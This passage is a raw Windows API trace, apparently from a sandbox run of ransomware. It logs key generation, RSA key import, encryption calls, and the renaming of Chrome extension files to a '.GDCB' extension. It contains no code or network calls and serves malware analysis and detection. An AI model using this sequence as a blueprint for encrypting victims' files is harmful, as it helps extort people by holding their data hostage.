(hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.416] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.416] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.419] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d1e0) returned 1 [0277.419] CryptGetKeyParam (in: hKey=0x678d1e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.419] CryptEncrypt (in: hKey=0x678d1e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.419] GetLastError () returned 0x0 [0277.419] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.419] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.421] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d360) returned 1 [0277.421] CryptGetKeyParam (in: hKey=0x678d360, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.421] CryptEncrypt (in: hKey=0x678d360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.422] GetLastError () returned 0x0 [0277.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.422] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.423] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.430] ReadFile (in: hFile=0x424, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d160*=0x1a1d, lpOverlapped=0x0) returned 1 [0277.438] VirtualAlloc (lpAddress=0x0, dwSize=0x1a20, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.445] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.gdcb")) returned 1 [0277.448] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0277.452] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.454] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.454] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.454] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.456] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.459] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.459] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.460] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.462] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d0e0) returned 1 [0277.462] CryptGetKeyParam (in: hKey=0x678d0e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.462] CryptEncrypt (in: hKey=0x678d0e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.462] GetLastError () returned 0x0 [0277.462] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.462] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0277.464] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d120) returned 1 [0277.464] CryptGetKeyParam (in: hKey=0x678d120, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.464] CryptEncrypt (in: hKey=0x678d120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.464] GetLastError () returned 0x0 [0277.464] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.464] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.466] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0277.469] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0277.490] ReadFile (in: hFile=0x424, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d160*=0x221da, lpOverlapped=0x0) returned 1 [0277.588] VirtualAlloc (lpAddress=0x0, dwSize=0x221e0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0277.598] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.gdcb")) returned 1 [0277.600] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.603] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.605] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.605] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.605] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.605] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.607] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.609] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.609] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.610] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.610] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.612] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d220) returned 1 [0277.612] CryptGetKeyParam (in: hKey=0x678d220, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.612] CryptEncrypt (in: hKey=0x678d220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.613] GetLastError () returned 0x0 [0277.613] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.613] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0277.614] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d760) returned 1 [0277.615] CryptGetKeyParam (in: hKey=0x678d760, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.615] CryptEncrypt (in: hKey=0x678d760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.615] GetLastError () returned 0x0 [0277.615] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.615] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0277.615] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.620] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.620] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.620] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0277.623] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.625] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.625] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.625] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.625] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.628] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d6a0) returned 1 [0277.628] CryptGetKeyParam (in: hKey=0x678d6a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.628] CryptEncrypt (in: hKey=0x678d6a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcde0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcde0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.628] GetLastError () returned 0x0 [0277.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.628] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0277.630] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d6e0) returned 1 [0277.630] CryptGetKeyParam (in: hKey=0x678d6e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.630] CryptEncrypt (in: hKey=0x678d6e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdf0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdf0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.630] GetLastError () returned 0x0 [0277.630] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.630] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0277.632] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.638] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.638] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.638] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.643] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.643] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.644] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.646] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d5a0) returned 1 [0277.646] CryptGetKeyParam (in: hKey=0x678d5a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.646] CryptEncrypt (in: hKey=0x678d5a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.646] GetLastError () returned 0x0 [0277.646] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.646] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.648] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d160) returned 1 [0277.648] CryptGetKeyParam (in: hKey=0x678d160, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.648] CryptEncrypt (in: hKey=0x678d160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.648] GetLastError () returned 0x0 [0277.648] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.648] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.650] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.653] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.655] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x3b, lpOverlapped=0x0) returned 1 [0277.665] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.671] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html.gdcb")) returned 1 [0277.675] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.678] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.680] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.680] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.680] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.680] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.685] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.685] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.685] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.686] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0277.688] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d3a0) returned 1 [0277.688] CryptGetKeyParam (in: hKey=0x678d3a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.688] CryptEncrypt (in: hKey=0x678d3a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.688] GetLastError () returned 0x0 [0277.688] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.688] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0277.691] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d2e0) returned 1 [0277.691] CryptGetKeyParam (in: hKey=0x678d2e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.691] CryptEncrypt (in: hKey=0x678d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.691] GetLastError () returned 0x0 [0277.691] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.691] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.693] 